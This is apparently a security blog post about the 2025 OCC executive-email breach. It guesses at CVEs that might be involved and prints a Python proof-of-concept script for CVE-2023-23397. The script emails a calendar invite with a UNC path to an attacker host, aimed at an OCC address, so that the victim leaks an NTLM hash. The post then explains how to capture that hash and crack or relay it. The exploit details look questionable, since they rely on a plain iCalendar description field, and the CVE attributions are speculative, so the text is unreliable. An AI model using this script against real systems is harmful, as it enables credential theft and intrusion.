US OCC Email Hack: A Deep Dive into the Breach and a PoC Exploit

On April 8, 2025, the US Office of the Comptroller of the Currency (OCC) disclosed a significant breach involving hacked executive emails. This incident, discovered on February 11, 2025, exposed over 150,000 emails, including sensitive data from approximately 103 bank regulators, spanning June 2023 to February 2025. The breach stemmed from a compromised administrative account, highlighting vulnerabilities in email infrastructure that attackers exploited for nearly two years. Here, we explore the incident, potential CVEs, and provide a proof-of-concept (PoC) exploit tied to a plausible vulnerability.

Incident Breakdown

• Date Reported: April 8, 2025
• Discovery Date: February 11, 2025
• Scope: Over 150,000 emails accessed, affecting 103 regulators
• Timeline: June 2023 – February 2025
• Attack Vector: Compromised admin account
• Impact: Exposure of sensitive financial data

The OCC cited “longstanding vulnerabilities,” suggesting unpatched systems or misconfigurations, such as weak multi-factor authentication (MFA) or outdated software like Microsoft Exchange.

Potential Vulnerabilities

Without a specific CVE tied to this breach, we can infer likely candidates based on the attack vector and timeline:

1. CVE-2021-26855 (ProxyLogon)

• Description: Server-side request forgery in Microsoft Exchange allowing remote code execution.
• CVSS Score: 9.8 (Critical)
• Relevance: Exploited historically for email breaches; possible if OCC used unpatched Exchange servers.
• Caveat: CVE-2021-26855 could be relevant only if the OCC was running unpatched Exchange servers from 2021, an unlikely scenario for a federal agency unless significant oversight occurred.

1. CVE-2023-23397 (Outlook Privilege Escalation)

• Description: Bypasses authentication via malicious NTLM hashes to access emails.
• CVSS Score: 9.8 (Critical)
• Relevance: Fits the admin compromise scenario; exploitable in 2023.

1. CVE-2024-21410 (Exchange Privilege Escalation)

• Description: Escalates privileges using stolen credentials to access mailboxes.
• CVSS Score: 7.5 (High)
• Relevance: Aligns with the breach’s timeframe and method.

CVE-2023-23397 stands out as a strong contender due to its email-specific exploitation and relevance to the breach’s early stages.

Exploitation Analysis

The attackers likely gained initial access via phishing or an unpatched flaw, then leveraged the admin account for persistence. Techniques such as backdoor deployment or token theft could have sustained their access undetected for 20 months. This points to gaps in monitoring and patch management within OCC’s email system.

Proof of Concept: CVE-2023-23397 Exploit

Below is a PoC for CVE-2023-23397, demonstrating how attackers could steal NTLM credentials via a malicious calendar invite—an approach adaptable to admin account exploitation.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

ATTACKER_IP = "192.168.1.100"  # Attacker's SMB server IP
SMTP_SERVER = "smtp.attacker.com"  # Attacker's SMTP server
SMTP_PORT = 587
SMTP_USER = "attacker@domain.com"
SMTP_PASS = "password"
TARGET_EMAIL = "victim@occ.gov"
SENDER_EMAIL = "attacker@domain.com"

def create_malicious_appointment():
    msg = MIMEMultipart()
    msg["From"] = SENDER_EMAIL
    msg["To"] = TARGET_EMAIL
    msg["Subject"] = "Urgent Briefing"
    body = f"""
    BEGIN:VCALENDAR
    BEGIN:VEVENT
    SUMMARY:OCC Emergency Meeting
    DTSTART:20250410T090000Z
    DTEND:20250410T100000Z
    DESCRIPTION:Details at \\\\{ATTACKER_IP}\\share\\doc
    END:VEVENT
    END:VCALENDAR
    """
    msg.attach(MIMEText(body, "calendar"))
    return msg

def send_exploit():
    mail_server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
    mail_server.starttls()
    mail_server.login(SMTP_USER, SMTP_PASS)
    msg = create_malicious_appointment()
    mail_server.sendmail(SENDER_EMAIL, TARGET_EMAIL, msg.as_string())
    mail_server.quit()
    print("Exploit sent. Check SMB server for NTLM hash.")

if __name__ == "__main__":
    send_exploit()

How It Works

• Setup: Run an SMB server (e.g., Impacket’s smbserver.py) on ATTACKER_IP to capture NTLM hashes.
• Execution: The script sends a calendar invite with a UNC path (\\ATTACKER_IP\share). When Outlook processes it (e.g., upon previewing the email in the preview pane), it authenticates to the attacker’s server, leaking the victim’s NTLM hash.
• Outcome: The hash can be cracked or relayed to escalate access, potentially to an admin account like the one breached at OCC.

Mitigation Strategies

• Patch vulnerabilities like CVE-2023-23397 and CVE-2024-21410.
• Enforce robust MFA on all admin accounts.
• Monitor for suspicious email activity or UNC path requests.
• Regularly audit email server configurations and logs.

Conclusion

The OCC email hack underscores the dangers of unpatched systems and weak security controls. While the exact CVE remains undisclosed, vulnerabilities like CVE-2023-23397 offer a window into how such breaches occur. Stay vigilant, patch promptly, and follow SquidSec for the latest cybersecurity insights.

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